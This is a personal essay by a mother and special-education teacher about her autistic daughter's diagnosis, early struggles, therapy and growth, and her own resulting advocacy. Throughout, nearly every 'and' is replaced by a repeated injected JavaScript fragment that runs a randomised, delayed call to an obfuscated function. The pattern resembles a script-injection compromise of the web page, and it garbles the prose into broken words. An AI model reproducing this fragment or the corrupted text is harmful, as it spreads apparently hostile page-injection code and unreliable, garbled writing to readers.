Autism Made Me a Strong Feminist

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>>image2 (1)Most people meet NaVia andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and when they find out she’s a child with Autism they are confused. She is a child who is verbal, emotional, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and speaks her mind. it’s not because she was misdiagnosed or because I have a secret ‘cure’ of Autism. It’s because she has had an empowering journey filled with amazing partners andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has a mom who is a feminist. She is going to take this world on andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and leave it a better place.

How? I’m glad you asked. Here’s her story:

“Ms. Cooke, the team has concluded its assessments andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and observations andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and we have come to the conclusion that your daughter NaVia fits the criteria for our exceptional needs program as a child with Autism.”

At least that’s what I think they said. All I remember that late spring day in 2011 was “your daughter…Autism”.

How did I miss this? Me, a veteran educator, Master’s degree, National Board Certified, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and more importantly currently a teacher of students with Autism? But I completely missed MY own daughter’s obvious place on the spectrum.

Let’s go back even further.

June 2007  I gave birth to a healthy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and happy beautiful doll. Normal pregnancy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and birth. She took her sweet time entering the world (sign of things to come, I believe), yet andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and still, it was the happiest moment of my life. Tied with the birth of her older sister.

2009-10  At two – an age when most kids are potty trained, starting to socialize, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and communicate – my daughter was not. NaVia preferred staying to herself while sitting in a bathtub andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and talked gibberish. She only ate hot dogs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and drank milk. At her birthday parties she did not want us to sing Happy Birthday out loud so we had to whisper it.  I remember one incident where she sliced her handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and opened after breaking my glass cupboard andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and only cried because she wanted to leave the ER. She watched the doctor’s clean her wound andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sew in the stitches all while saying thank you to the doctors. I was near deliriousness with guilt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and about to pass out from all the blood.

When visiting family andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and friends homes, NaVia went directly to a corner in a room where no one was. I used to be amused by this because some homes she’d never been in but she always seemed to find a quiet spot in a room alone.  All she needed was her hot dogs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and portable DVD player. Now it’s an IPod andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tacos. Five nights a week. Tacos! 

She had a quick temper andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and threw things ALL the time. It was so hard to understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and why all these things were going on so, her father andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I decided she needed to be around other kids her age. We knew she’d likely need some speech therapy but that was only the beginning.

At daycare, she wouldn’t eat the food. She hid under her desk. She wouldn’t leave the play area with the kitchen. One day her teacher sent home a note saying “I can’t work with other kids because she is so demandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I don’t understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and why.” The teacher even videotaped a meltdown andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and emailed it to me adding the subject: “See what I mean!”

But she was excelling academically. At the age of three she recognized secondary shapes like crescent moon andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nonagon. She counted backwards andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and read on a level higher than her older sister. She was speaking Spanish to strangers she’d meet in Walmart. Her intellect surprised me, but few people were able to see what I saw.

Now back to this preschool teacher. No she didn’t! Wasn’t it her job to figure out why she was crying? NaVia was supposed to be counting andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sorting objects but instead she was counting in patterns andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and backwards andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even sorting into categories the teacher didn’t expect for a four-year-old.

Instead of celebrating this she attempted to send her back to her seat. My daughter refused to go andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cried uncontrollably. Once I saw the video I immediately left to pick my child up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and informed the director of the daycare she’d never see her again andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and she’d better hope I didn’t sue them for the ridiculous email.

That night I cried after putting NaVia to sleep andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and asked her for forgiveness. I felt horrible. I felt I was so naive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and guilty for dropping the ball. How could I have not seen she needed me to standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and up for her? Even if I didn’t know what was going on, as her mother I was supposed to be there for her andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and protect her. I was so busy advocating for andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and educating my students with Autism I just assumed my daughter was doing normal things. I resolved it in my head – saying this was just second born child behavior or after reading The Explosive Child by Ross Greene “she just needed help expressing herself”. Boy was I off. It wouldn’t happen again. I decided to do everything in my power to make sure she was in a comfortable andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and safe environment, especially when I wasn’t around to protect her.

Fast forward to 2012, after the diagnosis andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and making some serious changes NaVia began therapy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was placed in a specialized classroom to prepare her for school. Mrs. Lisa  was her new teacher andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and like some of my students’ parents when initially meeting me, I hesitated. Who is this woman andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how do I know she will take care of my baby 6.5 hours a day?

Well, the miracle had arrived! Once all of her therapies started to kick in andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that mixed with an amazing teacher andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and supportive family members, NaVia began to flourish. She started to talk andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and communicate. She was starting to make friends andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and became willing to ride the bus to school andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and leave my side (honestly I think I had the bigger problem with the latter). Mrs. Lisa even got her to try different foods! She started to play sports, have play dates, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and communicated with her older sister, neighborhood children, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and classmates. We still had a long way to go with speech andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and social situations, but she was making progress. NaVia still didn’t like to go to places with lots of people andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and noise. She hated me even touching her hair, let alone washing it. But Mrs. Lisa andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and her teacher assistant Ms. Issa, had given me hope.

Her outside therapies have given me hope. She attends a camp in Pittsboro every summer to learn things just like other kids but at her pace. She plays baseball with teammates with special needs as well. This teaches her humility andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it has fed her love of our local baseball team, the Durham Bulls. She’s ready for a team with nondisabled peers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and rules of being stroke out. She is ready…because it was done at a pace she could handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andle.

Her social andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and emotional health is higher on my priority list then academics. I want her to be able to function in a society where there are so many disappointments. Some of them are an unfortunate part of life.

For example, when her father andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I divorced she was heartbroken, but bounced right back. Others aren’t that easy because they are simply unnecessary andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and so hard to explain. Like, “Why did some bad people shoot up a church?” She didn’t understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and asked was it safe for us to continue to go to church. I want her to be brave andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and strong but also know it’s ok to cry andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mourn when her heart hurts. Her social andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and emotional health are just as vital. I want her to have the courage to standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and up andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and advocate for herself as well as for others one day. The best way I can teach her that is by example. She loves going to “teacher or mommy meetings andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and marches” with me. She picks out her favorite signs andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and talks about how “she loves seeing so many different people care about each other.”

Throughout every challenge one thing has never changed in this child. Her heart is incredibly generous. She loves everyone. Her teachers continue to be her favorite people in the world! She doesn’t like to see a person without what they need. She’s straightforward andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to the point. From day one, I’ve learned so much more from her than she has from me. She’ll always have me to turn to. Even if I don’t understandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what she’s dealing with, I will be her place of comfort andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and safety.

The blessing of raising this beautiful child as a single mom is not always easy. She andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and her sister always come first. I have had some ground shaking experiences financially andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and socially. I’m a teacher in one of the worst states for educator compensation so I can’t always afford therapy or a trip specifically for children with Autism. The saddest part is watching her tears fall.

Sometimes I can prevent it, sometimes I can’t. So of course I cry right along with her

So, what’s next? I have no idea. At her age, school starts to really get serious now. How will she respond? The possibility of her parents getting married to someone else is another event headed her way. Whatever it is, she’s got her momma. I will never again leave her future in the handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands of others. Because the next time she cries, walking away is not an option. Standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding up, speaking out, shouting, making phone calls to my senators andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and representatives to improve medical care for her, do something about gun safety, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and provide funding for better schools is a part of my every day mom to do list now. Right beside make the tacos.




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